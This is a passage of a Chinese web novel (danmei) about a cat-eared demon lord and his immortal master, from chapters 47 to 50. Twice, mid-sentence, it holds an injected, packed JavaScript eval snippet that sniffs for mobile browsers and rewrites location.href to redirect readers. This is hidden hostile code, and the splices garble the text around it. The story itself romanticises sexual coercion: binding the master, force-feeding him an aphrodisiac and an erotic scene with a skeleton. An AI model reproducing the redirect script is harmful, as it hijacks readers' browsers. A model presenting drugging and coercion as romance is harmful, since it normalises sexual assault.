陌归尘摆摆手,众人如蒙大赦吐气,也十分有眼力见儿退下,甚至贴心带上门。 室内,只剩下师徒二人。 陌归尘吊儿郎当地往门框一倚,闷头喝了口酒:“师尊。” 至此,闻笺才睁眸。 来人穿的竟是及冠那年,自己为徒弟亲手绣的喜服,一袭大红喜袍,配上这头披散银发,不消多余装饰,已是明艳,又张扬,确实风华绝代。 那人步履悠然:“我好看吗?” “想不想娶我?” 闻笺倏然收回视线,嗓音浅淡未显波澜:“你醉了。” 陌归尘厌倦弃了酒瓶,继续走向闻笺,路过托盘时,顺手抓起喜袍,问:“师尊不 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陌归尘笑嘻嘻的:“有实力讲什么道理?师尊打得过我么?有巧取豪夺这种好东西,玩什么单相思啊!要么师尊嫁给我,要么我娶师尊,你选一个吧。” 闻笺:“……” 闻笺怒极反笑:“为师教你读书写字十几年,你就学会了离经叛道?闻青栀,你的书都念到狗肚子里去了?” 陌归尘不以为然:“整日清醒克制有什么用?” 说着便对捧着自家师尊的脸颊,低头吻下去,还未碰到,那人已别开头。 陌归尘耸肩,也不强求,只手脚并用缠着闻笺,把脑袋埋进底下人颈窝胡乱蹭蹭:“师尊,你好香啊。” “闻青栀,是不是为师太纵着你了?”闻笺捻起陌归尘后颈皮,制裁了一下,也仅是一下,徒弟又扑回来,埋头使劲蹭,留下自己的气味以作标记。 那是猫族宣誓主权的方式。 给自家师尊做完标记,陌归尘不以为意打了个哈欠:“师尊训完没?” “训完我就歇下了,没训完我也想睡,留着明天训行不行?”说罢,自顾自阖眼,眷恋十足趴在闻笺身。 闻笺蹙眉:“有你这样趴着师父睡的么?不成体统,赶紧下来。” “哦。” 陌归尘轻哼一声,却没动,头顶的猫耳也耷拉下来,自动屏蔽外界声音。 闻笺:“……” 那人便是这样,将他当成猫窝,十分惬意往下挪挪姿势,把头枕在他心口处,呼吸愈加低缓,渐渐沉睡过去。 闻笺低眸垂视徒弟睡颜,这人的手还攥住他双肩衣物,伸手去抓徒弟手臂,扯了扯,焉知这人也是执拗,拽得紧实,怎么都扯不下来。 竹屋木窗敞开,窗外山雨欲来,寒风瑟瑟,拂得幔帐飘荡。 闻笺收回视线,低低喟叹着,用仅剩的那么丁点儿灵力,从储物空间里取出件雪绒软被,轻轻盖在了陌归尘身上。 不知多久后,寂夜忽而落下一声闷雷,哪怕闻笺早已提前捂住徒弟双耳,那人还是被响雷惊醒。 陌归尘倏然腾起身子,神情恍惚睁眼,不知是睡迷蒙了,还是在梦游,双目迷离,整个身子都往侧跌了跌。 闻笺眼疾手快捞人,那人跌进他臂弯,也跪在趴在榻间,窸窸窣窣爬走。 跨出去时,不知有意还是无意,双手一软,没撑住,整个身子往他身摔了摔。 徒弟的鼻尖儿若有似无擦过某个部位。 “咦。” 青年跪在他腿侧,直起身来摸摸鼻尖,神情分明清明无比,似在回味什么…… 好半晌后。 陌归尘松了指,转而痞痞一笑,一把握住自家师尊命门,语气放浪形骸:“师尊,有点烫哦。” “你!” 闻笺当即眉心一跳,常年云淡风轻的脸,初次出现道皲裂,猛然拂掉徒弟的手,下了床。 堂堂玄胤仙尊,从未感受过如此冒犯,而此等惊世骇俗的荒谬之举,竟还来自那个一而再,再而三挑战他底线的徒弟。 “不要太放肆。” 陌归尘的手还没取够暖,师尊已离床榻三米外。 “师尊不想上我么?” 陌归尘不以为杵咂咂嘴,摩挲着下巴琢磨了会儿,似真在深思熟虑,佯装自我劝服:“好吧,那换我上师尊也行。” 而后竟还真颇为遗憾叹息:“话本说,当下面那个更舒服,可惜我当不成,不过谁让你是师尊呢,全当孝敬师尊了。” 他言真意切,不似作假撇撇嘴:“话本还说,有些人总口是心非,喜欢玩‘欲拒还迎、半推半就’的戏码。” 这一顶帽子扣下来,闻笺简直被徒弟气得哽了哽,眸底薄出层怒意,厉声呵斥。 “闻青栀,你别太荒唐!” 脸色沉郁的人这一转身方发觉,自己的灵丝法器不知何时被徒弟偷了出来。 纯白灵丝缠绕在对方十指,那人若有所思把玩,似在默默量度,思忖着把一个人老老实实绑起来需要多长…… 闻笺顿感不妙。 堂堂邪神,当年杀尽满天神佛都没动过一下眉头,这刻,居然在徒弟跟前,退了半步。 “你拿为师的法器做什么?” 陌归尘抬眸,起身,一步一步走向闻笺,眉眼蔫下,表情无辜得略显委屈:“哪里荒唐了?” 他指尖勾起捆灵线,甩晃着把玩了几下。 “想孝顺师尊也有错么?” 48.等我能耐,上服你 48. 什么孝顺师尊。 简直无稽之谈。 万籁俱寂,便显得陌归尘的脚步声尤为清晰,一步,一步逼近。 闻笺负手立在原地,捏了捏指腹,哪怕徒弟大逆不道至此,他还是觉得自己这个当师父的当晓之以理,以理服人。 便是克制着自己,稳下情绪,轻轻唤了一声:“青栀。” 徒弟仍在把玩他的灵线法器,挑眉应了声:“哦?师尊又要拿出那套‘师徒相恋,罔顾人伦,有悖纲常’的说辞么?” 说话间,那人已经来到他跟前,似乎是打算先礼后兵,并没有下一步动作。 见状,闻笺默然一下,尝试着与徒弟好好沟通,缓声引导道:“这些年来,为师对你,向来只有来自师长的关怀,你千万莫要曲解这份情谊。” “然后呢。” 闻笺深色淡然凝望徒弟,语重心长,循循善诱道:“我们的情谊亦没有在岁月里变质,是时间蒙骗了你的双眼,终有一天你会明白,你只是习惯了为师的好,是崇拜,是依赖,是感动有人时时为你打伞,是怀念曾经三餐温饱四季相伴的日子……” “哪怕离开的十年,为师也只是你孤寂无所托时的一个慰藉,是你沉疴痼疾里用以止疼的一味药。” “而那些,都并非爱。” “青栀,你总会长大的。” 闻笺轻轻拍了一下陌归尘肩膀:“倘若哪天为师不再是那个无条件庇护你的人,你便不会如此非我不可,你能明白么?” 屋内静了片刻。 陌归尘懒洋洋撩起半边眼皮,斜“觑”肩膀的手:“师尊说完了?说完了我就继续。” 闻笺见人一副散漫姿态,皱了皱眉问:“你到底有没有认真听为师的话?” “有呀,听完了,也觉得是师尊嘴硬,嘴这么硬,需得亲一亲才能软。” “你。” 感知到自家师尊抬起手臂,屈着食指,怕是又想给他来一下,趁着师尊的手落下之际,陌归尘顺势握住闻笺手腕。 这次倒不是大逆不道的调戏,陌归尘敛起吊儿郎当的笑意,难得正色几分:“师尊且安心。” “我打小有师尊爱,有师姐师兄爱,还有朋友爱,亲情友情还是爱情,我能分不清么?” “倒是你闻笺,”陌归尘掂起脚,以一种平视的角度,伸手,不以为忤摸去闻笺发顶,只摸到根发带。 思绪在这一刻开始翻涌。 他嗓音也似穿梭回曾经,而轻得缥缈:“你还记得从前凡间游历的日子么?有一回,我们遇上天灾,还恰逢两国交战,当时师尊带着我,去行医施药。” “百姓们流离失所,风餐露宿,夜不能寐,饱受生离死别饥饿病痛摧残。” “他们都敬仰你是大善人。” “可我,只想着师尊什么时候能歇一歇,师尊已经好多天没合过眼了。” “我固然心疼众生疾苦,但只有师尊,让我有抱一抱的冲动。” 陌归尘从回忆抽身,他的手还停在闻笺的墨发:“师尊连冠礼都没人帮你行,就不能允许我来替你绾发吗?” 徒弟这番话听得闻笺怔了一下,心口又开始发疼。 便一时定在原地无言许久。 趁人出神的功夫,陌归尘不假思索试了试灵线韧度,干脆利落地把闻笺给五花大绑绑了起来,又连拖带拽,一气呵成弄到床上。 整个过程行云流水,没有一点点犹豫。 闻笺始料未及徒弟竟耍赖搞偷袭,他挣扎了一下,没挣开灵线束缚:“你简直无法无天。” “赶紧给为师松开。” “师尊还是别挣扎了,你越反抗,我只会越兴奋。”陌归尘三分玩笑三分认真,抓住闻笺衣襟就往墙角摁去。 说话间,已爬上榻,岔开双腿,跪在闻笺两腿侧。 他低垂着头,以一种俯视的姿势,挑起闻笺下颔,十足登徒子调戏道:“您老人家还是老老实实成全我的一片孝心吧。” “……” 闻笺别开头:“你别太任性!听话,我们还能回去。” 回去? 还回得去么? 陌归尘怔然愣了一下,就像浑身腾起的刺猬硬刺,被猝不及防温抚软,正在慢慢收起,只是转瞬,他又清醒无比,破罐子破摔嗤了声。 腾起利爪继续自己的正事。 片刻后。 雄赳赳气昂昂跪在闻笺两腿外的青年,突然迷茫萎下来,思来想去半天,还是犯难坐在师尊大腿,憋红了脸的人,最后咬唇,摸出本话本,翻阅起来。 闻笺哑然,他活了这么些年,也是第一次见这般临时抱佛脚的人。 实在是无语得好笑。 陌归尘用指腹摸着话本字眼,似怕冷落闻笺,还特地宽慰道:“师尊等等,很快。” 闻笺无力阖眼:“你的心意,为师心领了,乖,回去歇着吧。” 陌归尘:“……” 他偏头瞪了一眼闻笺,这不变相嘲讽他是个小雏雏么?堂堂七尺男儿能吞下这口气? 不能! 半个时辰后。 话本翻到底,陌归尘烦躁咬唇,从未接触过床笫之事的魔尊大人,单手抓着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13534438|140997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脚踝细细乱挠,眸光左右乱转好半晌,气馁丢了书。 常言道大丈夫能屈能伸! 不耻下问! 陌归尘折下一只猫耳,抿抿唇,似在自我挣扎许久,双手揪住闻笺一点肩侧的布料,小挪着往里蹭蹭,尤像在撒娇,满脸迷茫,却又是难得的求知若渴的好学模样。 声音低低的,有些底气不足嘀咕:“师尊,你能不能教教我怎么上你?” “……” 闻笺一口气差点没咽下去。 常年云淡风轻的玄胤仙尊,此刻无语得有点无助,简直被徒弟气得噎了声。 他道:“歇吧。” 徒弟不依不饶:“不要!教我!” 闻笺微微睁眸,端详眼前人,坐在他腿上的青年,忸怩又不死心,强硬又单纯懵懂。 那双十指不沾阳春水的手,正揪着他衣襟,咬紧的唇缝轻轻哼出点咕哝,细碎,又软声软气的。 他眸光又缓缓移动。 徒弟口中满嘴诨话,大言不惭要亵渎师尊,结果落到实处时,却是穿戴整齐,腰封都没卸,哪怕是酒后半醉,也仪态万千、落落大方的,连眼神都清澈堪比秋水。 简直纯情得没边儿。 闻笺被陌归尘弄得哭笑不得,也没了训斥的心,反倒因为这么一通折腾后,莫名生出点事后的心力交瘁感。 他指背抵住眉心,无语笑了一下:“你放弃吧。” 放弃? “不可能!”魔尊大人越挫越勇,大言不惭叫嚣,“你等我能耐,上服你!” 闻笺:“……” 在徒弟给予的大起大落中摸爬滚打了些日子,竟有些习以为常陌归尘的语出惊人。 他揉着眉心往墙面靠了靠,低低吁出一口长长的叹息,尤像在面对一个调皮捣蛋却实在没法沟通的孩子。 无可奈何得只能失笑。 闻笺逗小孩玩似的摆摆手,敷衍了句:“去能耐吧。” 陌归尘自然听到闻笺话里含着的那点浅笑。 笑? 老男人居然还敢嘲笑他? 本来痛失雄风就很烦,如今又被下面子,魔尊大人气死了。 怒火中烧的人,二话不说踢开话本,腾起身子翻下床,摸索着出门,也后知后觉自己也是被美色迷昏头了,就闻笺这清心寡欲的老古板哪会鱼水交欢这种事,俗话说,求人不如靠己。 临走前,魔尊大人还不忘回头,撂下句狠话:“闻笺!你给我等着!” 屋内人生无可恋倚墙,还是事事有回应,扶额笑了笑。 “嗯,等你。” 49.文案。 49. 与此同时,落霞峰。 雪影负手而现,轻而易举穿过结界,踏上石阶,越过栀子花海时,望着这满山头的栀子花,若有所思停顿片刻。 他敛起似笑非笑的眸光,继续往山上走去,一路畅通无阻,直奔山顶小筑,来到书房。 轻车熟路走下密室。 停在千年寒玉棺前,掌心一挥,扯走障眼法,露出寒玉棺外那一盏长明灯。 长明灯无油无灯芯,兀自亮着,燃的是精魄,只是星火细弱,将熄未灭。 “师……师尊……” 角落传出气若游丝的声音。 雪影回眸,只见往日活泼可爱的小灵藕正奄奄一息趴着,虚弱得两只猫耳都撑不起,软软耷拉着,整个躯体灰暗失去灵光,只艰涩眯起条眼缝,吃力翕动双唇,“好饿……” 雪影走过去,蹲下,挠挠小灵藕下巴,渡过丝灵气,方退回寒玉棺旁,弯身,把白骨抱走。 小灵藕也亦步亦趋跟出来。 雪影眺望漫山遍野的栀子花,摘下一朵,转手戴在小灵藕发间,静静欣赏了片刻,方勾勾小灵藕下巴:“去玩吧。” 话毕,瞬移回到地下神宫。 雪影横抱着陌归尘自废的那副骸骨,慢条斯理回到寝殿。 殿内不知何时亮起些水镜,镜内尽是师徒二人昔日相处的温馨画面。 雪影望着镜中的自己。 确切来说,是还拥有闻笺魂魄的自己,专心致志观察了片刻,才慢悠悠把徒弟的那副白骨放到床榻中央。 精雕细刻的万年冰玉床上,华丽的红袍松散叠落,雪影坐在榻边,轻轻挽起白骨的手,低低吻了吻指尖。 随后也跟着躺下。 他把人翻转,以一种面对面的姿势,把徒弟拥进怀里,宽大厚实的掌,有一下没一下顺着徒弟的后背,温声软语哄道:“好,师父抱着你睡,就不冷了。” 雪影下巴抵着徒弟脑袋,手掌还在轻顺徒弟后背,双唇有条不紊动着,哼出几句凡间专门哄孩子入睡的童谣。 嗓音清越而低缓。 像千年的月。 有种亘古不变的安稳。 雪影边哼边细细打量怀中人,明明是副白骨,却能透过那骨骼,看到陌归尘眉睫一动不动,呼吸均匀,慢慢酣睡过去的模样。 他就这么无言端详着。 徒弟这般安静时,眉目其实是有些疏冷的,纤细的睫毛微卷,烛光映照下,在眼睑处打出片小扇形,点缀在微微泛绯的眼尾上,格外可怜惹人爱。 总叫人想狠狠欺负一番。 若是哭起来便更欲罢难休。 雪影的视线又往下移,徒弟的唇色偏深,好似无时无地不被蹂.躏过似的红艳撩人。 此刻被暖橘烛光映着,更似涂上层薄薄的蜜釉,显得整个唇瓣像新烧的美人醉釉瓷器,富有光泽,柔亮,又色彩莹润。 诱着人一尝芳泽。 尤其是唇中那点唇珠,简直就是画龙点睛之笔。 他缓缓低下了头。 炽热的□□,将彼此的衣袍都烧得褴褛破烂,虚虚散散遮住点风光,这般半遮半掩,却比坦诚相见更惹人遐想、掠夺。 底下人乖得很。 被欺负狠了,也不晓得反抗,只泪眼婆娑,懵懵懂懂的,如剥壳荔枝,水润透亮,就这么瞳光涣散,齿尖轻咬下唇,泣出点碎碎的喘息,可怜极了。 越是如此,越叫人心痒难耐,按捺不住。 便又是一顿粗暴折腾。 久不得歇。 …… * 从神宫出来时,天色还早,昨夜下过雨,如今又是烈日当空,院子里尽是股湿暖,雪影却是带着满身阴冷气息,来到竹屋。 屋内。 闻笺褪去喜袍,又是一身纤尘不染的白衫,姿态雅淡,端坐桌沿,专心致志取走最后一根鱼刺,正正好复原回一条完整的清蒸鲈鱼。 桌上还有已挑好的蟹肉碎,混杂着蟹黄,覆盖在晶莹的米饭,连蟹肉沾着的汤汁浓稠都精准控制在七分湿度,刚好能裹在粒粒分明的白色灵米上。 光是看着便食欲大振。 很符合某只娇生惯养的猫主子的饮食习惯。 他刚到,闻笺也擦着手起身,朝门外走来,看见他也不惊讶,若无其事,正要越过他。 雪影倚在门框,抱手,抬起一条腿,拦了拦道:“还敢出门呀?不过也是,极寒之地那味望月夜明砂,最能明目退翳,奈何三百年一开花,三百年一结果,再过三百年方能熟,可不是一般难得,算上上回,还得再去两趟方能催熟。” 闻言,闻笺只是淡眼凝视前方,神情清清冷冷的,没接话。 雪影也不在意,抬手,变出一截将灭未灭的灯芯,自言自语搭话:“你以为你还是从前的你么?只要是蜡烛,就总会有燃尽的那一刻。” 他呼出口气,吹灭灯芯,话语似劝慰,更似单纯的告知,道:“还是交给我吧。” 闻笺抬眸,掌心一握,便已召出霜寒剑,提剑以对,直指对面人喉咙。 寒光晃过脸颊,雪影也不怵,轻笑了声,双指捏住剑尖,轻轻推开:“时至今日,你还在自以为是么?” 他状若可惜道:“闻笺啊闻笺,你也就对自己狠得起来而已,可你已经耗不起了。” 话刚完,便见对方握着剑顺势往下一挑,剑尖划破衣衫,瞬间暴露出里面殷红的花纹顶端。 是妖艳盛放的蔷薇花。 雪影“啧”了声拢拢衣衫,眉头紧蹙,不悦嗔了声:“这可是玉玉给我挑的新衣裳,你得赔我一套,就里面那套喜服如何?”说罢,指尖还朝里指指,眸色渐暗,如交织的网铺撒而出,毫不掩饰自己的占有欲。 闻笺没理会对方的话,他望着蔷薇花图案,并未见惊讶,反倒有种疑惑被证实的了然。 他问:“养剑骨是伪装,滋孕蔷薇引方是你目的?” 雪影斜觑闻笺:“不,都是真的。” “我们玉玉值得最好的,当师父的当然要竭尽所能给他最好的,天底下,只有师父方是无条件爱他的男人。” “他是师父带大的,理应归师父。” 闻笺言简意赅:“谬论。” 雪影摊手,懒得与闻笺废口舌争论不休,只格外好心提醒道:“十年,刚好种成蔷薇引,所以你还要杀我么?蔷薇引,同生共死,母体若死,子体也休想活。” 闻笺收剑:“你也别太自信。” “呵。” “很好,”雪影看着闻笺,如在揽镜自照,颇有点孤芳自赏的满意,“我特别欣赏你这副不可一世的狂傲。” 话毕,那人也径直离开。 见闻笺离开,雪影耸肩,款款走进竹屋,双手捧起那套喜服,来到铜镜前,把衣服贴在身上,左右比划了几下。 他余光一划,转眸,来到桌沿,悄悄往闻笺剔好的鱼肉盘子里塞了条原味小鱼干,似觉不够,又塞下一条荷叶鸡味的小鱼干,方心满意足拍拍手。 * 另一边,仙门。 嘭一声巨响。 合欢宗的山门被一鞭子抽得四分五裂。 红影款款踏进来。 守门的弟子吓得呆愣在原地,许久方知回神,过两日便是大婚,这位祖宗此时此刻来做什么?秋后算账? 刚欲跑走通风报信的小弟子,就被人利落捆起来。 合欢宗主殿,空气中漂浮着股很淡的雅香,陌归尘狐疑蹙眉,再三细品,也未能品出个中端倪,便只道是些寻常熏香,毕竟这不是什么稀罕事儿,各门各派为彰显自己与众不同,总会故弄玄虚搞些标新立异的东西,譬如他们浮华派也有旁的宗门仿不出的独特门香。 他单手托腮,懒懒倚在高座上:“你们宗主还没到?” 几名弟子如临大敌抹抹虚汗,还是恭敬送上饭菜酒水:“就……就到了,您请用茶。” 陌归尘余光扫过桌上膳食,忽而停在那盘剔骨的鱼肉。 他止不住想起些往事。 那是十年前的逃亡路上,入夜时分,身负重伤的他倚靠在巨大的石块里。 旁边是同样受伤的小狗妖,魔界右护法,多年好友,连名字都是他取的。 初相识时,小妖说:“我没有名字,你给我取一个呗。” 还是闻青栀的他,思来想去,最后敲定道:“取个单字:栀,阿栀如何?” 小妖问:“有寓意么?” 他轻唔声:“栀从木,木为树,寓意:长寿、坚韧,至于栀子,则是纯洁美好,赤诚相待。” 小妖春风得意笑道:“这名字好,就唤这个” …… 在那片幽森的林子里,阿栀抓来条鱼,生火烤鱼。 那人挠挠下颌:“你们猫不是都爱吃鱼么?” 陌归尘摇头。 不想吃鱼,想吃荷叶鸡。 鱼肉草草烤熟,阿栀趁热帮他剔掉骨丝,烫得斯哈呼气。 他知,这种灵鱼鱼肉紧实,灵力也比其他种类的食物充沛,骨丝尤为多。 因为师尊也曾给他用这种鱼熬过汤,那会子,师尊也是这般,给他一根一根去鱼刺,挑得一根不剩。 阿栀摇摇黑色大尾巴,满脸期待:“吃点吧,补充灵力。” 陌归尘接过鱼肉。 阿栀去得没师尊细致,吃起来还是有残留,但这却是这世上除了师尊外,第二个会帮他挑鱼刺的人。 阿栀凑过脑袋看他,挠头,嘿嘿一笑问:“好吃么?” 陌归尘虚弱掀起眼皮,没有说话,自幼被师尊娇生惯养,那条鱼是他吃过最腥最臭的食物,内脏也没去,鱼胃的杂草都似未消化完,怎会好吃? 可他又不愿骗人,便是细嚼慢咽,加之逃亡路,为恢复些体力,愣是一口一口咽下去。 似怕他一睡不醒,阿栀一直陪他说话,说着说着竟又自顾自潸然泪下。 陌归尘不解:“哭什么?” 阿栀别开头:“你受这么重的伤,我怕……”手足无措的手,胡乱摁来他那汩汩流出血水的肩膀。 陌归尘微笑安慰道:“不会死的,虽说我也没什么求生的欲望,但至少不会自寻短见,那样,我多对不起舍命救我的人。” 阿栀沉默一下,似乎也清楚他口中人是谁,忽而笑着抹抹泪,在那永无尽头的黑夜,亡命天涯,相依为命的两个身影挨在一起互相取暖:“没事儿,有我在,我不会让你愧对师姐的牺牲。” …… 陌归尘退出回忆,难免唏嘘,明明曾经那么圆满,结果都走散在半路。 剩他孤零零一人。 少时总觉诗书乏味,如今方幡然醒悟,书里没有骗人,高处不胜寒。 没有亲人,没有朋友,只剩下师尊了,师尊还一味推开他。 陌归尘忿忿呷了口茶。 猛然摔出茶杯。 他指尖敲击扶手,声淡如水,问:“你们宗主很忙?要本尊亲自去请?” 半只脚跨进门的合欢宗宗主,差点在这不怒自威的气势里摔了个趔趄。 他倏地扑进来,求生欲极强,惶恐赔笑:“魔尊大人大驾光临,小的有失远迎!实在有失远迎!”言罢,如临大敌抹着虚汗,一言不发,一动不动,生怕稍有差池便殒命在这位魔尊大人手下。 等了半晌。 这位祖宗也没开口。 莫非在记恨上回伏魔大会闹的“选妃”笑料,真来他们合欢宗选妃以凌辱一二出个气? 不然长成陌归尘这样的,还有谁能入他眼?哦,想起来,还有玄胤仙尊。 这厮貌似对自家师尊爱而不得来着,在伏魔大战上,当众把人掳回魔宫,玩巧取豪夺那套呢。 这对师徒可真会玩。 合着我们整个仙门都是你们师徒调情的一环呗。 不过师徒恋确实刺激,等哪天他也拐个徒弟玩玩儿,众目睽睽下是表面清白,实则每个对视都只有彼此懂的暗流涌动。 高朋满座里。 再寻常不过的斟酒动作。 也只有他知道,徒弟的小嘴能灌几分满。 …… 等这一阶段玩腻了,便开启下一阶段,暗地指挥徒弟假装发疯拐走自己,既不用落人口实,又能藏起来逍遥快活。 玄胤仙尊妙计啊! 还得是你闻笺有高招! 正浮想联翩得美滋滋冒泡的合欢宗宗主,忽而听到陌归尘发话:“有没有那种功法?简单明了,一目了然的。” 他怔了怔:“哪种?” 便见座上青年不悦蹙眉,实则却是在掩饰禁不住红了的耳垂:“你们宗门难道有正经功法?” 哦豁。 合欢宗宗主了然一笑。 敢情魔尊大人还是个雏?好纯情呀,对外秒天秒地秒空气,对内,小嘴都没被嗦过,这反差,萌萌的。 啧啧啧。 玄胤仙尊可真是捡到宝了。 又幸福了哦。 “有有有!自然是有的!”合欢宗宗主捧上本图册,“您要的,都有!配合催情丹,效果更妙不可言!” “催情丹?” “是的。” 陌归尘抿唇,欲言又止,还是低声问了句:“上下哪个舒服?” “其实上下根本不重要,毕竟姿势是千变万化的,里外方是重点。” “废话少说,到底谁舒服?” “外面的。” “哦,怎样算外面?” “您看完那功法自然就懂了。”随后又看热闹不嫌事大地送上颗生子丹,“魔尊大人,这宝物,保管让您终生幸福。” 陌归尘皱眉:“什么东西?” 合欢宗宗主甚是得意道:“生子丹,万金难求。” “生子?” “自然,孩子,毕竟是你们的血脉,你们之间的羁绊,十之八九能绑住彼此,前些日子,我们隔壁宗门少宗主死活不肯娶妻,后来酒后……咳,然后对方怀上了,有了孩子,两人也缔结姻缘,鹣鲽情深,如胶似漆,恩爱两不疑呐。” 陌归尘轻唔声,没太在意,起身,迈出几步,又回头问:“你方才说姿势很多?哪个最舒服?” 合欢宗宗主知无不言言无不尽问:“您是指承受方还是?” “承受方。”陌归尘不假思索脱口而出,毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“为师不饿。” 陌归尘耸肩,也没多言,便是慢条斯理挖了口饭。 裹满蟹黄酱汁的大米,晶莹剔透,粒粒分明,窝在饭面的还有薄薄的一层鱼肉,鱼肉吸满特质的酱油,细滑清爽。 这么一口下去。 口感丰富极了。 陌归尘忍不住又吃了一口,精致的小瓷碗,很快便见底。 酒足饭饱。 也该干正事了。 他慢悠悠来到榻边,骤然抚上肚子:“额……” “怎么了?” “肚子难受,师尊听听。” 闻笺闻声抬眸,但见徒弟脸色煞白,鼻尖都冒出冷汗,嘟囔着不舒服,也是被人牵动情绪,颇有些关心则乱,就顺着陌归尘的话伏身,去听。 头顶落下道散漫不羁的调笑:“师尊听出几个月没?男孩还是女孩?” 闻笺眉头紧锁:“你多大人了,还与为师玩这些幼稚——” 趁着闻笺开口间隙,陌归尘没来由出手,一把掐住那人咽喉,迫使自家师尊仰头。 藏在手心的丹药,毫无征兆塞进底下人的唇缝。 “咳。” 闻笺呛了下,丹药入口即化,他一时没品出滋味,也不懂徒弟又在心血来潮玩哪一出:“你给为师吃了什么?” 陌归尘转眸,眸底划过丝狡黠的笑:“醉生梦死丹,俗称——” 他轻唔一下,笑得纯真无邪,“催.情.药。” 说着,又将人推进榻中央,双手揪起闻笺的青丝。 房内,不知何时点起龙凤灯,红烛高燃,清风拂来时,烛火哔波跳动,映出陌归尘眸底呼之欲出的痴妄。 “闻笺,你完了。” “你到底闹够了没有?” “闹?怎么能叫闹呢?”陌归尘仍是笑意盈盈的,眼尾缀着点水光,显得人格外无辜,“我只是觉得师尊当世人的仙尊太累了,还是乖乖留在魔宫,当我一个人的神吧。” “我给你供香火。” “我把我所有,源源不断地,都献给师尊。” 陌归尘那素白的尾指还压在闻笺唇缝,似叫人含着根细玉,温凉又滑腻的,闻笺神色微凝,撇开头,这遣词造句真是奇怪得透出几分诡异。 “你给为师清醒些。”闻笺总觉哪里不妥,正欲给人把脉,徒弟却甩开他的手,攀身压了上来。 “我很清醒。” 陌归尘低垂着脑袋,翻滚在眼底的暗流,汹涌着呼之欲出的癫狂。 “不清醒的是师尊,为一个师徒身份折磨自己,傻不傻啊?” 他握紧闻笺的手:“以后,只能属于我一个人,好不好?” 此时此刻,闻笺错愕得难以置信,徒弟这一遭是做足功课,势要将霸王硬上弓进行到底。 闻笺心情一时难以言喻,只有出口的语气听起来还算心平气和,沉静警告:“闻青栀,我是你师,你别太放肆了。” “师?” “我知呀。”陌归尘掌心托托腮,若有所思似的,“对,是师,我还跪过师尊呢。” “他们说跪着比较舒服。” 他温柔伏到闻笺耳畔,缠绵低语:“曾经,师尊在上,请受徒弟一拜,那么如今,还请师尊在下,为我一跪吧。” 说着便抓住闻笺墨发,迫使人背对他,还未摁着师尊跪下,那人已是将他拽得跌坐了一下。 “够了!别再胡闹了!” 闻言,陌归尘笑不达眼底:“不够,还差点。” 说着,便当着自家师尊的面,扬起颈脖,塞进颗丹药。 吞咽一下,又一下。 跟吃糖豆似的,生生吞下十颗催情丹。 闻笺第一次从一只猫身上看到狼的影子,还是头露出锋利獠牙的嗜血小狼崽。 凶残,但还不足以震摄人。 目睹这人连吞十颗丹药,闻笺的神情愈渐冷若冰霜,话音也比往常沉下两度:“不要命了?” “要什么命,牡丹花下死,做鬼也风流,黄泉路下,奈何桥上,不知道二姐姐还在不在等我,如果她在,我一定要好好向她炫耀我的光辉战绩呢。” “你二师姐她——” “师尊不要扯开话题了。” 陌归尘膝盖抵在他双腿两侧,倾下身,凑近他,似乎知道自己总亲不到,索性转移目标,直接在他颈侧重重咬了一口,留下道深可见骨的牙印。 闻笺吃疼蹙眉。 对方又摸上他手腕,解开玉质镣铐,挑眉笑了笑:“师尊曾教导我以德报德,也别说我趁人之危欺负师尊,药效还未彻底发作,师尊还有三息半功夫逃走。” 陌归尘心中默算时间,开启倒计时:“师尊还不跑么?三息。” “师尊再不跑就来不及了哦,两息半。” “两息。” “一息半。” “一息。” 50.还娶不娶师尊? 50. “一息。” 陌归尘吐出最后两个字,倒计时结束,那人却似没听到一般,丝毫未有动静。 他好整以暇扬眉,腔调散漫启唇:“看来师尊确实在欲拒还迎,好心机哦。” 眼前倏地天旋地转。 闻笺不声不响扯住他手臂,猛地往下一拽,陌归尘猝不及防倒下,整个人横趴在自家师尊大腿上。 这是什么姿势? 双修功法可没提过呀。 莫非是第一百零九式? 魔尊大人神清气爽,小小反思着,看来双修功法确实是门深奥学问,还得是闻笺这种腹黑老男人懂得多。 嘴上说不要。 身体比谁都诚实。 口是心非,陌归尘默默腹诽道,正挣扎着要起身,手腕却被反扣得紧实。 闻笺双指夹住他中指,瞬间,便有股灵息裹挟着方才的催情丹药,全数钻出指头。 “干嘛……唔。” 啪。 身后一声起,奇怪的感觉旋即从腰下方那处地方炸开,叫人颤着打出个激灵。 失控得猫尾都甩了出来。 闻笺垂眸,定睛望向陌归尘泛粉的猫耳猫尾,也是怔了怔,不承想,这一戒尺下去,竟给徒弟打出了半原型。 “你……?” 后知后觉被打臀.部,陌归尘五指抓实被褥,整个身子耐不住刺激得蜷了一下。 他气急败坏的骂声,在喉间滚了一圈,泄出唇齿时,莫名变成碎碎的泣咛。 “闻、笺、你变态!” “你打哪呢!” “士可杀!不可辱!” 堂堂魔尊大人,呼风唤雨惯了,挨着师尊这般惩罚,传出去,面子往哪搁? 他撑着手肘要爬起,又被摁下,抽了一下。 整个身子再次软得跌了跌。 就连头顶的猫耳都蔫儿吧唧地耷拉下来,怪可怜劲儿的。 目睹这怪异转变,闻笺错愕微怔,刚想把陌归尘捞起来检查,又旋即回神。 徒弟固然金贵,磕不得绊不得,但他根本没使力,况且这人修为深厚,不至于娇弱至此。 他冷下脸:“收起你装可怜那套,别想与为师使诈。” 底下人又窸窸窣窣往前爬,闻笺一手攥住陌归尘双腕,微抬起一条腿,抵着徒弟的小腹,把人抬高了些许。 有些好笑道:“方才不是硬气着叫为师跑么? “你跑什么?” 